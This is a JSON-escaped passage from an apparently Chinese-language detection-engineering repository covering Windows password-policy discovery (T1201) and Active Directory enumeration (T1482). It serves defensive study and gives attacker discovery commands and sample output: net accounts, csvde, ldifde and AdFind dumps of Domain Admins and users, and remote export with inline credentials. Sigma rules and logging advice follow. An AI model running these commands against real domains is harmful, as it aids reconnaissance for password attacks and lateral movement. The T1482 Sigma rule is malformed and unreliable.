配置白名单，过滤已知 IT 管理工具。\n   - 验证文件内容，确保与网络共享发现相关。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（如 `ShareEnum`）或直接调用 Windows API，建议监控未知可执行文件的运行。\n   - 检测异常 WMI 查询（如 `wmic share`）或 SMB 协议流量。\n   - 在云环境中，使用云日志（如 AWS CloudTrail）监控文件共享访问。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1135  \n  <https://attack.mitre.org/techniques/T1135/>\n- Atomic Red Team - T1135 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1135/T1135.md>\n```\n"
  },
  {
    "path": "Windows/09发现/T1201-win-密码策略发现.md",
    "content": "# T1201-Win-密码策略发现\n\n## 描述\n\n攻击者通过密码策略发现（T1201）收集 Windows 系统中本地或域密码策略的详细信息，以优化暴力破解（T1110）或字典攻击策略。密码策略包括密码长度、复杂性要求、历史记录、锁定阈值和有效期等，攻击者利用这些信息构建符合策略的密码列表，规避账户锁定，或识别弱策略以提升权限（T1078）。在 Windows 环境中，攻击者可能使用 `net accounts` 查询本地密码策略，`net accounts /domain` 查询域策略，或通过 PowerShell（如 `Get-ADDefaultDomainPasswordPolicy`）、`secedit` 或 WMIC 获取详细信息。本文档聚焦于 Windows 平台的密码策略发现检测与防御。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户权限（本地策略查询），域用户权限（域策略查询）。\n- 工具：CMD、PowerShell、WMIC\n- 环境：域环境（如 QAX.COM）或独立主机\n\n### 测试案例 1：使用 `net accounts` 查询本地密码策略\n**关联技术**：T1201（本地密码策略枚举）\n```dos\nnet accounts\n```\n**输出示例**：\n```\n强制用户在时间到期之后多久必须注销?:     从不\n密码最短使用期限(天):                    0\n密码最长使用期限(天):                    42\n密码长度最小值:                          0\n保持的密码历史记录长度:                  None\n锁定阈值:                                从不\n锁定持续时间(分):                        30\n锁定观测窗口(分):                        30\n计算机角色:                              WORKSTATION\n命令成功完成。\n```\n**说明**：\n- 查询本地系统的密码策略。\n- 普通用户权限。\n- 关联 T1201：获取本地密码要求。\n\n### 测试用例 2：使用 `net accounts /domain` 查询域密码策略\n**关联技术**：T1201（域密码策略枚举）\n```dos\nnet accounts /domain\n```\n**输出示例**：\n```\n强制用户在时间到期之后多久必须注销？：从不\n密码最短使用期限（天）：0\n密码最长使用期限（天）：90\n密码最小长度：8\n保持的密码历史记录长度：12\n锁定阈值：6\n锁定持续时间（分钟）：15\n锁定观测窗口（分钟）：15\n计算机角色：DOMAIN\n命令成功完成。\n```\n**说明**：\n- 查询域环境的密码策略。\n- 域用户权限，需域环境。\n- 关联 T1201：获取域密码要求。\n\n### 测试用例 3：使用 PowerShell `Get-LocalUser` 查询本地账户策略\n**关联技术**：T1201（本地账户策略枚举）\n```powershell\nGet-LocalUser | Select-Object Name,PasswordRequired,PasswordExpires\n```\n**输出示例**：\n```\nName               PasswordRequired PasswordExpires\n----               ---------------- ---------------\nAdministrator                  True\nDefaultAccount                False\nGuest                         False\nheihei                        False\nWDAGUtilityAccount             True 2025/7/2 14:34:55\n```\n**说明**：\n- 查询本地账户的密码要求和到期状态。\n- 普通用户权限（某些信息可能需要管理员权限）。\n- 关联 T1201：分析本地账户策略。\n\n### 测试用例 4：使用 PowerShell `Get-ADDefaultDomainPasswordPolicy` 查询域策略\n**关联技术**：T1201（域密码策略枚举）\n```powershell\nGet-ADDefaultDomainPasswordPolicy\n```\n**输出示例**：\n```\nComplexityEnabled           : True\nDistinguishedName           : DC=com,DC=com\nLockoutDuration             : 00:15:00\nLockoutObservationWindow    : 00:15:00\nLockoutThreshold            : 6\nMaxPasswordAge              : 90.00:00:00\nMinPasswordAge              : 0.00:00:00\nMinPasswordLength           : 8\nPasswordHistoryCount        : 12\n```\n**说明**：\n- 查询域的密码策略详细信息。\n- 需要域用户权限和 Active Directory 模块。\n- 关联 T1201：获取域密码要求。\n\n### 测试用例 5：使用 `secedit` 导出本地密码策略\n**关联技术**：T1201（本地密码策略枚举）\n```dos\nsecedit /export /cfg C:\\Temp\\secpol.cfg\n```\n**输出示例**：\n- 生成 `C:\\Temp\\secpol.cfg`，包含：\n```\n[Account Policies]\nPasswordHistorySize = 24\nMaximumPasswordAge = 42\nMinimumPasswordAge = 1\nMinimumPasswordLength = 7\nLockoutBadCount = 0\n```\n**说明**：\n- 导出本地安全策略，包括密码策略。\n- 普通用户权限（导出功能）。\n- 关联 T1201：提取密码策略。\n\n### 测试用例 6：使用 WMIC 查询本地账户策略\n**关联技术**：T1201（本地账户策略枚举）\n```dos\nwmic useraccount get Name,PasswordRequired,PasswordExpires\n```\n**输出示例**：\n```\nName                PasswordExpires  PasswordRequired\nAdministrator       FALSE            TRUE\nDefaultAccount      FALSE            FALSE\nGuest               FALSE            FALSE\nheihei              FALSE            FALSE\nWDAGUtilityAccount  TRUE             TRUE\n```\n**说明**：\n- 查询本地账户的密码策略信息。\n- 普通用户权限。\n- 关联 T1201：收集账户策略。\n\n**注意**：\n- 上述命令通常不需要管理员权限（某些 PowerShell 命令可能需要提升权限）。\n- 输出结果可能因系统配置（例如策略配置、域环境）而异。\n- 攻击者可能会将输出重定向到文件（例如 `net accounts > policy.txt`）。\n\n## 测试复现\n\n### 复现环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：普通用户权限（本地策略），域用户权限（域策略）\n- 工具：CMD、PowerShell、WMIC\n- 环境：域环境（如 QAX.COM）或独立主机\n\n### 复现步骤\n1. **使用 `net accounts` 查询本地密码策略**：\n   ```dos\n   net accounts > C:\\Temp\\local_policy.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\local_policy.txt`，包含本地密码策略。\n   - 安全日志事件 ID 4688 记录 `net.exe` 执行。\n   - Sysmon 事件 ID 1 记录进程创建，事件 ID 11 记录文件创建。\n\n2. **使用 `net accounts /domain` 查询域密码策略**：\n   ```dos\n   net accounts /domain > C:\\Temp\\domain_policy.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\domain_policy.txt`，包含域密码策略。\n   - 安全日志事件 ID 4688 记录 `net.exe` 执行，事件 ID 5140 记录 `IPC$` 访问。\n   - Sysmon 事件 ID 1 记录进程创建，事件 ID 11 记录文件创建。\n   - 域控制器安全日志事件 ID 4672 记录特殊权限分配。\n\n3. **使用 PowerShell `Get-ADDefaultDomainPasswordPolicy`**：\n   ```powershell\n   Get-ADDefaultDomainPasswordPolicy | Out-File C:\\Temp\\ad_policy.txt\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\ad_policy.txt`，包含域密码策略。\n   - PowerShell 日志事件 ID 4104 记录 `Get-ADDefaultDomainPasswordPolicy` 执行。\n   - Sysmon 事件 ID 1 记录 `powershell.exe` 执行，事件 ID 11 记录文件创建。\n\n### 验证\n- 检查输出文件内容，确认包含密码策略信息。\n- **验证日志**：\n  - 安全日志：事件 ID 4688（进程创建）、5140（共享访问）、4672（域控制器权限）。\n  - Sysmon 日志：事件 ID 1（进程创建）、11（文件创建）。\n  - PowerShell 日志：事件 ID 4103/4104（脚本执行）。\n\n## 检测日志\n\n- **安全日志**：\n  - 事件 ID 4688：进程创建，记录 `net.exe`、`powershell.exe`、`secedit.exe` 或 `wmic.exe` 的执行。\n  - 事件 ID 5140：网络共享访问，记录域控制器中的 `IPC$` 共享访问（`net accounts /domain`）。\n  - 事件 ID 4672：特殊权限分配，记录域控制器中的登录行为（`net accounts /domain`）。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数（例如 `net accounts` 或 `Get-ADDefaultDomainPasswordPolicy`）。\n  - 事件 ID 11：文件创建，记录输出文件（例如 `secpol.cfg` 或 `policy.txt`）。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录 PowerShell 脚本执行，例如 `Get-LocalUser` 或 `Get-ADDefaultDomainPasswordPolicy`。\n- **要求**：\n  - 启用 `Audit Process Creation`（安全日志，事件 ID 4688）。\n  - 启用 `Audit File Share` 和 `Audit Logon`（安全日志，事件 ID 5140、4672）。\n  - 部署 Sysmon，配置事件 ID 1（进程创建）和 ID 11（文件创建）。\n  - 启用 PowerShell 的 `Script Block Logging` 和 `Module Logging`。\n- **注意**：\n  - Windows Server 2016 需要启用命令行审计以记录进程命令行参数。\n  - 域控制器日志（例如 4672、5140）需要启用相关审计策略。\n  - 日志输出可能因系统配置（如权限、策略）而异。\n\n## 测试留痕\n\n- **进程相关**：\n  - 进程创建：`net.exe`、`net1.exe`、`powershell.exe`、`secedit.exe`、`wmic.exe`。\n  - 父进程：例如 `cmd.exe` 或 `powershell.exe`。\n  - 命令行参数：例如 `net accounts`、`Get-ADDefaultDomainPasswordPolicy`、`secedit /export`、`wmic useraccount`。\n- **文件相关**：\n  - 输出文件：例如 `C:\\Temp\\local_policy.txt`（`net accounts > policy.txt`）、`secpol.cfg`（`secedit /export`）。\n- **域相关**：\n  - 域控制器事件：`IPC$` 共享访问（事件 ID 5140）、特殊权限分配（事件 ID 4672）。\n  - 网络连接：与域控制器的 SMB 通信（端口 445）。\n- **隐藏手段**：\n  - 重命名 `net.exe`（例如 `svc.exe`）。\n  - 使用编码后的 PowerShell 脚本（例如 `Invoke-Obfuscation`）。\n  - 删除输出文件（例如 `del local_policy.txt`）。\n  - 通过网络传输输出文件（例如 FTP、HTTP）以减少本地痕迹。\n\n## 检测规则/方法\n\n### **Sigma 规则**\n\n```yaml\ntitle: Windows密码策略发现\ndescription: 检测通过 net accounts、PowerShell、secedit 或 WMIC 执行的 Windows 密码策略发现行为\nreferences:\n  - https://attack.mitre.org/techniques/T1201/\n  - https://github.com/redcanaryco/wiki-red-team/blob/master/atomics/T1201/T1201.md\ntags:\n  - attack.discovery\n  - attack.t1201\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n  product: windows\n  category: process_logging\ndetection:\n  selection_cmd:\n    EventID: 4688 # 进程创建\n    NewProcessName|endswith:\n      - '\\net.exe'\n      - '\\secedit.exe'\n      - '\\wmic.exe'\n    ProcessCommandLine|contains:\n      - 'accounts'\n      - '/export'\n      - 'useraccount'\n  selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志\n    ScriptBlockText|contains:\n      - 'Get-LocalUser'\n      - 'Get-ADDefaultDomainPasswordPolicy'\n  selection_sysmon:\n    EventID: 1 # Sysmon 进程创建\n    Image|endswith:\n      - '\\net.exe'\n      - '\\powershell.exe'\n      - '\\secedit.exe'\n      - '\\wmic.exe'\n    CommandLine|contains:\n      - 'accounts'\n      - 'Get-LocalUser'\n      - 'Get-ADDefaultDomainPasswordPolicy'\n      - '/export'\n      - 'useraccount'\n  selection_file:\n    EventID: 11 # Sysmon 文件创建\n    TargetFilename|endswith:\n      - '.txt'\n      - '.cfg'\n    TargetFilename|contains:\n      - 'policy'\n      - 'secpol'\n  selection_domain:\n    EventID: \n      - 5140 # 网络共享访问权限\n      - 4672 # 特殊权限分配\n    ShareName: '\\\\*\\IPC$'\n  condition: selection_cmd or selection_powershell or selection_sysmon or selection_file or selection_domain\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - TargetFilename\n  - ShareName\nlevel: medium\nfalsepositives:\n  - 管理员运行net accounts或PowerShell进行策略检查\n  - 合法IT系统管理工具触发类似行为\n```\n\n### **检测方法**\n1. **进程监控**：\n   - 监控 `net.exe`、`powershell.exe`、`secedit.exe` 和 `wmic.exe` 的进程创建（事件 ID 4688）。\n   - 关注命令行参数中包含 `accounts`、`Get-LocalUser`、`Get-ADDefaultDomainPasswordPolicy`、`export` 或 `useraccount` 的行为。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-LocalUser` 或 `Get-ADDefaultDomainPasswordPolicy` 的执行。\n3. **文件监控**：\n   - 检测文本文件或配置文件创建（事件 ID 11），特别是文件名包含 `policy` 或 `secpol` 的文件。\n4. **域控制器监控**：\n   - 监控 `IPC$` 共享访问（事件 ID 5140）和特殊权限分配（事件 ID 4672）。\n   - 检测与域控制器的异常 SMB 连接（端口 445）。\n5. **行为分析**：\n   - 检测短时间内高频的密码策略查询（5 分钟内多次触发）。\n   - 结合上下文分析，例如异常用户、非常规时间段或未知父进程。\n\n## 建议\n\n1. **防御措施**：\n   - 限制普通用户对 `net.exe` 和 `secedit.exe` 的执行权限。\n   - 启用组策略，限制 PowerShell 脚本执行（例如 `Get-ADDefaultDomainPasswordPolicy`）。\n   - 部署 EDR 工具，监控异常密码策略查询行为。\n   - 配置域控制器访问控制，限制非授权用户查询域策略。\n   - 加强密码策略（如增加复杂性、缩短锁定时间）。\n2. **检测优化**：\n   - 监控短时间内高频密码策略查询（5 分钟内多次触发）。\n   - 结合上下文分析，例如异常用户账户、非常规时间段或未知父进程。\n   - 检测输出文件创建（例如 `local_policy.txt` 或 `secpol.cfg`）。\n   - 监控域控制器中的 `IPC$` 共享访问（事件 ID 5140）和特殊权限分配（事件 ID 4672）。\n3. **降低误报**：\n   - 排除管理员用于策略检查的合法 `net accounts` 或 PowerShell 操作。\n   - 配置白名单，过滤已知 IT 管理工具。\n   - 验证文件内容，确保与密码策略发现相关。\n4. **其他工具**：\n   - 攻击者可能使用第三方工具（例如 `ADRecon`）或直接调用 Windows API，建议监控未知可执行文件的运行。\n   - 检测异常 WMI 查询（例如 `wmic useraccount`）或域控制器中的策略访问。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1201  \n  <https://attack.mitre.org/techniques/T1201/>\n- Atomic Red Team - T1201 测试用例  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1201/T1201.md>"
  },
  {
    "path": "Windows/09发现/T1482-win-活动目录信息获取检测.md",
    "content": "# T1482-Win-活动目录信息获取检测\n\n## 描述\n\n攻击者通过域信任发现（T1482）收集 Windows 活动目录（AD）中的信息，包括域信任关系、用户、组、计算机和组织单位（OU），以识别横向移动（T1550）、权限提升（T1078）或 Kerberos 攻击（如 T1208 Kerberoasting）的机会。域信任允许受信任域的用户访问信任域的资源，攻击者可利用信任关系进行票据传递或 SID 历史记录注入。在 Windows 环境中，攻击者可能使用 `nltest` 枚举域信任，`csvde` 和 `ldifde` 导出 AD 对象，`AdFind` 查询详细 AD 信息，或通过 PowerShell（如 `Get-ADUser`、`Get-ADDomain`）获取数据。这些信息可用于构建攻击路径或识别高价值目标。本文档聚焦于 Windows 平台的活动目录信息获取检测与防御。\n\n## 测试案例\n\n### 环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：域用户权限（部分命令需域管理员权限）\n- 工具：CMD、PowerShell、AdFind\n- 环境：域环境（如 QAX.COM）\n\n### 测试案例 1：使用 `csvde` 获取活动目录信息\n**关联技术**：T1482（AD 对象枚举）\n**说明**：\n- 导出格式：CSV（可用 Excel 查看）。\n- 适用系统：Windows Server 2003 至 2016、Windows 8/10。\n- 权限：域用户（部分查询需域管理员权限）。\n**命令**：\n```dos\n:: 导出所有信息\ncsvde -f all.csv\n:: 导出用户信息\ncsvde -f user.csv -r \"(&(objectCategory=person))\"\n:: 导出计算机信息\ncsvde -f machine.csv -r \"(&(objectCategory=computer))\"\n:: 导出组信息\ncsvde -f group.csv -r \"(&(objectCategory=group))\"\n:: 导出管理员组信息\ncsvde -f admin.csv -r \"(&(objectCategory=group)(name=Domain Admins))\"\n:: 导出 OU 信息\ncsvde -f ou.csv -r \"(&(objectCategory=organizationalUnit))\"\n:: 导出用户名\ncsvde -f username.csv -r \"(&(objectCategory=person))\" -l SamAccountName\n:: 导出计算机名\ncsvde -f machinename.csv -r \"(&(objectCategory=computer))\" -l name\n```\n**输出示例**：\n```\n\"objectClass\",\"distinguishedName\",\"sAMAccountName\"\n\"user\",\"CN=admin,DC=qax,DC=com\",\"admin\"\n\"computer\",\"CN=DC01,DC=qax,DC=com\",\"DC01$\"\n```\n**说明**：\n- 枚举 AD 中的用户、计算机、组、OU 等。\n- 关联 T1482：收集 AD 对象信息。\n\n### 测试案例 2：使用 `ldifde` 获取活动目录信息\n**关联技术**：T1482（AD 对象枚举）\n**说明**：\n- 导出格式：LDIF（可用 Notepad 查看）。\n- 权限：域用户（部分查询需域管理员权限）。\n**命令**：\n```dos\n:: 导出所有信息\nldifde -f all.txt\n:: 导出用户信息\nldifde -f user.txt -r \"(&(objectCategory=person))\"\n:: 导出计算机信息\nldifde -f machine.txt -r \"(&(objectCategory=computer))\"\n:: 导出组信息\nldifde -f group.txt -r \"(&(objectCategory=group))\"\n:: 导出管理员组信息\nldifde -f admin.txt -r \"(&(objectCategory=group)(name=Domain Admins))\"\n:: 导出 OU 信息\nldifde -f ou.txt -r \"(&(objectCategory=organizationalUnit))\"\n:: 导出用户名\nldifde -f username.txt -r \"(&(objectCategory=person))\" -l SamAccountName\n:: 导出计算机名\nldifde -f machinename.txt -r \"(&(objectCategory=computer))\" -l name\n```\n**输出示例**：\n```\ndn: CN=admin,DC=qax,DC=com\nobjectClass: user\nsAMAccountName: admin\n```\n**说明**：\n- 类似 `csvde`，但输出为 LDIF 格式。\n- 关联 T1482：获取 AD 对象详细信息。\n\n### 测试案例 3：使用 `AdFind` 获取活动目录信息\n**关联技术**：T1482（AD 对象枚举）\n**说明**：\n- 第三方工具，需下载（<https://www.joeware.net/freetools/tools/adfind/>）。\n- 权限：域用户（部分查询需域管理员权限）。\n**命令**：\n```dos\n:: 导出所有信息\nAdFind.exe -h 127.0.0.1 > all.txt\n:: 导出用户信息\nAdFind.exe -h 127.0.0.1 -f \"objectcategory=person\" > user.txt\n:: 导出计算机信息\nAdFind.exe -h 127.0.0.1 -f \"objectcategory=computer\" > machine.txt\n:: 导出组信息\nAdFind.exe -h 127.0.0.1 -f \"objectcategory=group\" > group.txt\n:: 导出管理员组信息\nAdFind.exe -h 127.0.0.1 -f \"(&(objectCategory=group)(name=Domain Admins))\" > admin.txt\n:: 导出 OU 信息\nAdFind.exe -h 127.0.0.1 -f \"objectcategory=organizationalUnit\" > ou.txt\n:: 导出用户名\nAdFind.exe -h 127.0.0.1 -f \"objectcategory=person\" SamAccountName > username.txt\n:: 导出计算机名\nAdFind.exe -h 127.0.0.1 -f \"objectcategory=computer\" name > machinename.txt\n```\n**输出示例**：\n```\n>objectClass: user\n>distinguishedName: CN=admin,DC=qax,DC=com\n>sAMAccountName: admin\n```\n**说明**：\n- 功能强大，输出详细 AD 属性。\n- 关联 T1482：枚举 AD 对象。\n\n### 测试案例 4：使用 `nltest` 获取域信任信息\n**关联技术**：T1482（域信任枚举）\n**说明**：\n- 内置工具，查询域信任关系。\n- 权限：域用户。\n**命令**：\n```dos\n:: 列出域信任关系\nnltest /domain_trusts\n```\n**输出示例**：\n```\n域信任列表:\n0: QAX qax.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)\n命令成功完成。\n```\n**说明**：\n- 枚举域信任关系。\n- 关联 T1482：识别横向移动机会。\n\n### 测试案例 5：使用 PowerShell 获取活动目录信息\n**关联技术**：T1482（AD 对象枚举）\n**说明**：\n- 使用 Active Directory 模块。\n- 权限：域用户（部分命令需域管理员权限）。\n**命令**：\n```powershell\n:: 导出用户信息\nGet-ADUser -Filter * | Select-Object Name,SamAccountName | Export-Csv user.csv\n:: 导出计算机信息\nGet-ADComputer -Filter * | Select-Object Name | Export-Csv machine.csv\n:: 导出组信息\nGet-ADGroup -Filter * | Select-Object Name | Export-Csv group.csv\n:: 导出管理员组信息\nGet-ADGroupMember -Identity \"Domain Admins\" | Select-Object Name,SamAccountName | Export-Csv admin.csv\n:: 导出 OU 信息\nGet-ADOrganizationalUnit -Filter * | Select-Object Name,DistinguishedName | Export-Csv ou.csv\n:: 导出域信任信息\nGet-ADDomain | Select-Object Name,ParentDomain,ChildDomains,Forest | Export-Csv domain.csv\n```\n**输出示例**：\n```\n\"Name\",\"SamAccountName\"\n\"admin\",\"admin\"\n```\n**说明**：\n- 功能灵活，常用于 AD 信息收集。\n- 关联 T1482：获取用户、组、信任等信息。\n\n### 测试案例 6：从域外远程导出活动目录信息\n**关联技术**：T1482（远程 AD 枚举）\n**说明**：\n- 使用凭据远程查询 AD。\n- 权限：域用户或管理员账户凭据。\n**命令**：\n```dos\n:: 使用 csvde\ncsvde -s 192.168.1.1 -a \"test\\admin\" \"Password\" -f all.csv\n:: 使用 ldifde\nldifde -s 192.168.1.1 -a \"test\\admin\" \"Password\" -f all.txt\n:: 使用 AdFind\nAdFind.exe -h 192.168.1.1 -u \"test\\admin\" -up \"Password\" > all.txt\n```\n**输出示例**：\n- 同本地导出，生成 CSV、LDIF 或文本文件。\n**说明**：\n- 需提供有效凭据。\n- 关联 T1482：远程收集 AD 信息。\n\n## 测试复现\n\n### 复现环境\n- 操作系统：Windows Server 2016 / Windows 10\n- 权限：域用户权限（部分命令需域管理员权限）\n- 工具：CMD、PowerShell、AdFind\n- 环境：域环境（如 QAX.COM）\n\n### 复现步骤\n1. **使用 `csvde` 导出所有信息**：\n   ```dos\n   csvde -f C:\\Temp\\all.csv\n   ```\n   **预期输出**：\n   ```\n   连接到“(null)”\n   用 SSPI 作为当前用户登录\n   将目录导出到文件 all.csv\n   搜索项目...\n   导出了 223 个项目\n   命令成功完成\n   ```\n   **验证**：\n   - 检查 `C:\\Temp\\all.csv`，确认包含 AD 对象。\n   - 安全日志：事件 ID 4688（`csvde.exe`）。\n   - Sysmon：事件 ID 1（进程创建）、11（文件创建）、3（端口 389）。\n\n2. **使用 `ldifde` 导出用户信息**：\n   ```dos\n   ldifde -f C:\\Temp\\user.txt -r \"(&(objectCategory=person))\"\n   ```\n   **预期输出**：\n   ```\n   连接到“DC01.qax.com”\n   用 SSPI 作为当前用户登录\n   将目录导出到文件 user.txt\n   导出了 100 个项目\n   命令成功完成\n   ```\n   **验证**：\n   - 检查 `C:\\Temp\\user.txt`，确认包含用户数据。\n   - 安全日志：事件 ID 4688（`ldifde.exe`）。\n   - Sysmon：事件 ID 1、11、3。\n\n3. **使用 `AdFind` 导出组信息**：\n   ```dos\n   AdFind.exe -h 127.0.0.1 -f \"objectcategory=group\" > C:\\Temp\\group.txt\n   ```\n   **预期输出**：\n   ```\n   AdFind V01.52.00cpp Joe Richards (support@joeware.net) January 2020\n   ```\n   **验证**：\n   - 检查 `C:\\Temp\\group.txt`，确认包含组数据。\n   - 安全日志：事件 ID 4688（`AdFind.exe`）。\n   - Sysmon：事件 ID 1、11、3。\n\n4. **使用 `nltest` 枚举域信任**：\n   ```dos\n   nltest /domain_trusts > C:\\Temp\\trusts.txt\n   ```\n   **预期输出**：\n   ```\n   域信任列表:\n   0: QAX qax.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)\n   命令成功完成\n   ```\n   **验证**：\n   - 检查 `C:\\Temp\\trusts.txt`，确认包含信任关系。\n   - 安全日志：事件 ID 4688（`nltest.exe`）。\n   - Sysmon：事件 ID 1、11。\n\n5. **使用 PowerShell 导出用户信息**：\n   ```powershell\n   Get-ADUser -Filter * | Select-Object Name,SamAccountName | Export-Csv C:\\Temp\\user.csv\n   ```\n   **预期输出**：\n   - 生成 `C:\\Temp\\user.csv`，包含用户信息。\n   **验证**：\n   - 检查 `C:\\Temp\\user.csv`，确认包含用户数据。\n   - PowerShell 日志：事件 ID 4104（`Get-ADUser`）。\n   - Sysmon：事件 ID 1（`powershell.exe`）、11、3。\n\n6. **域外远程导出（`csvde` 示例）**：\n   ```dos\n   csvde -s 192.168.1.1 -a \"test\\admin\" \"Password\" -f C:\\Temp\\all.csv\n   ```\n   **预期输出**：\n   ```\n   连接到“192.168.1.1”\n   用提供的凭据登录\n   将目录导出到文件 all.csv\n   导出了 223 个项目\n   命令成功完成\n   ```\n   **验证**：\n   - 检查 `C:\\Temp\\all.csv`，确认包含 AD 对象。\n   - 安全日志：事件 ID 4624（登录类型 3）、4688（`csvde.exe`）、5140（`IPC$`）。\n   - Sysmon：事件 ID 1、3、11。\n\n## 检测日志\n\n- **安全日志**：\n  - 事件 ID 4688：进程创建，记录 `csvde.exe`、`ldifde.exe`、`AdFind.exe`、`nltest.exe`、`powershell.exe` 的执行。\n  - 事件 ID 5140：网络共享访问，记录 `IPC$` 共享访问（域外查询）。\n  - 事件 ID 4624：账户登录，记录域外查询的认证行为（登录类型 3）。\n  - 事件 ID 5156：Windows 筛选平台允许连接，记录 LDAP（端口 389）或 SMB（端口 445）连接。\n  - 事件 ID 5158：Windows 筛选平台允许绑定本地端口，记录 LDAP/SMB 相关端口。\n- **Sysmon 日志**：\n  - 事件 ID 1：进程创建，记录命令行参数（如 `csvde -f`、`Get-ADUser`）。\n  - 事件 ID 3：网络连接，记录 LDAP（端口 389）或 SMB（端口 445）连接。\n  - 事件 ID 11：文件创建，记录输出文件（如 `all.csv`、`user.txt`）。\n- **PowerShell 日志**：\n  - 事件 ID 4103/4104：记录 PowerShell 脚本执行，如 `Get-ADUser`、`Get-ADDomain`。\n- **要求**：\n  - 启用 `Audit Process Creation`（安全日志，事件 ID 4688）。\n  - 启用 `Audit Logon` 和 `Audit File Share`（安全日志，事件 ID 4624、5140）。\n  - 启用 `Audit Network Connections`（安全日志，事件 ID 5156、5158）。\n  - 部署 Sysmon，配置记录进程创建（事件 ID 1）、网络连接（事件 ID 3）、文件创建（事件 ID 11）。\n  - 启用 PowerShell `Script Block Logging` 和 `Module Logging`。\n- **注意**：\n  - Windows Server 2016 需启用命令行审计以记录进程命令行参数。\n  - 域控制器日志（如 4624、5140）需启用相关审计策略。\n\n## 测试留痕\n\n1. **进程相关**：\n   - **进程创建**：`csvde.exe`、`ldifde.exe`、`AdFind.exe`、`nltest.exe`、`powershell.exe`。\n   - **父进程**：如 `cmd.exe` 或 `powershell.exe`。\n   - **命令行参数**：如 `csvde -f`、`AdFind.exe -h`、`Get-ADUser`。\n2. **文件相关**：\n   - **输出文件**：如 `all.csv`、`user.txt`、`group.txt`、`trusts.txt`。\n3. **网络相关**：\n   - **LDAP 连接**：目标端口 389，协议 TCP。\n   - **SMB 连接**：目标端口 445，协议 TCP（域外查询）。\n   - **源/目标 IP**：查询主机和域控制器的 IP 地址。\n4. **域相关**：\n   - **登录事件**：事件 ID 4624（登录类型 3，域外查询）。\n   - **共享访问**：事件 ID 5140（`IPC$` 访问，域外查询）。\n5. **隐藏的手段**：\n   - 重命名工具（如 `AdFind.exe` 改为 `svc.exe`）。\n   - 使用编码后的 PowerShell 脚本（如 `Invoke-Obfuscation`）。\n   - 删除输出文件（如 `del all.csv`）。\n   - 通过网络传输输出文件（如 FTP、HTTP）以减少本地痕迹。\n\n## 检测规则/方法\n\n### Sigma 规则\n\n```yaml\ntitle: Windows 活动目录信息获取\nid: 9m1g4i7s-8u3w-1x4a-p7b9-3t6v1w4y8d6b\ndescription: 检测通过 csvde、ldifde、AdFind、nltest 或 PowerShell 获取活动目录信息的行为\nreferences:\n  - https://attack.mitre.org/techniques/T1482/\n  - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1482/T1482.md\ntags:\n  - attack.discovery\n  - attack.t1482\nstatus: experimental\nauthor: 0x783kb\nlogsource:\n product: windows\n category: detection\ndetection:\n  - selection_cmd:\n    EventID: 4688 # 进程创建\n    NewProcessName:\n      - ends with: '\\csvde.exe'\n      - ends with: '\\ldifde.exe'\n      - ends with: '\\nltest.exe'\n      - ends with: '\\AdFind.exe'\n    ProcessCommandLine:\n      - contains: '-f'\n      - contains: '/domain_tr'\n      - contains: '-h'\n  - selection_powershell:\n    EventID: 4104 # PowerShell 脚本块日志记录\n    ScriptBlockEnabled:\n      - contains:\n        - 'Get-Local'\n        - contains: 'Get-ADDefaultDomain'\n  - selection_file:\n      - EventID: 11 # Sysmon 文件创建\n      - TargetFilename:\n        - ends with: \n          - '.csv'\n          - '.txt'\n          - '.test'\n        - contains:\n          - 'all'\n          - 'user'\n          - 'machine'\n          - 'group'\n          - 'admin'\n          - 'ou'\n          - 'trust'\n  - selection_system:\n      - EventID: 1\n      - Image:\n        - ends with: \n          - '\\csvde.exe'\n          - '\\ldifde.exe'\n          - '\\nltest.exe'\n          - '\\AdFind.exe'\n          - '\\powershell.exe'\n      - CommandLine:\n        - contains: '-f'\n        - contains: '/domain_tr'\n        - contains: '-h'\n        - contains: 'Get-AD'\n  - selection_network:\n      - EventID: 5156 # 网络连接\n      - DestinationPort:\n        - 389 # LDAP\n        - 445 # SMB\n      - Protocol: 6 # TCP\n  - selection_domain:\n      - EventID:\n        - 4624 # 账户分配\n        - 5140 # 网络共享权限\n      - LogonType: 3\n      - ShareName: contains: '\\*\\IPC$'\n  condition: all\n  timeframe: 5m\nfields:\n  - NewProcessName\n  - ProcessCommandLine\n  - ScriptBlockText\n  - TargetFilename\n  - DestinationPort\n  - ShareName\nlevel: medium\nfalsepositives:\n  - 管理员运行 AD 管理工具（如 csvde、AdFind）\n  - 合法 IT系统 触发类似行为\n```\n\n### 检测方法\n\n1. **进程监控**：\n   - 监控 `csvde.exe`、`ldifde.exe`、`AdFind.exe`、`nltest.exe`、`powershell.exe` 的进程创建（事件 ID 4688、1）。\n   - 检查命令行参数，如 `-f`、`/domain_trusts`、`Get-ADUser`。\n2. **PowerShell 监控**：\n   - 启用 PowerShell 脚本块日志，检测 `Get-ADUser`、`Get-ADDomain` 等命令。\n3. **文件监控**：\n   - 检测 CSV、TXT 或 LDIF 文件创建（事件 ID 11），文件名包含 `all`、`user`、`group` 等。\n4. **网络监控**：\n   - 监控 LDAP（端口 389）和 SMB（端口 445）连接（事件 ID 5156）。\n5. **域控制器监控**：\n   - 检测域外登录（事件 ID 4624，登录类型 3）和 `IPC$` 访问（事件 ID 5140）。\n6. **行为分析**：\n   - 检测高频 AD 查询（5 分钟内多次触发）。\n   - 结合上下文，如异常用户、非常规时间段或未知父进程。\n\n## 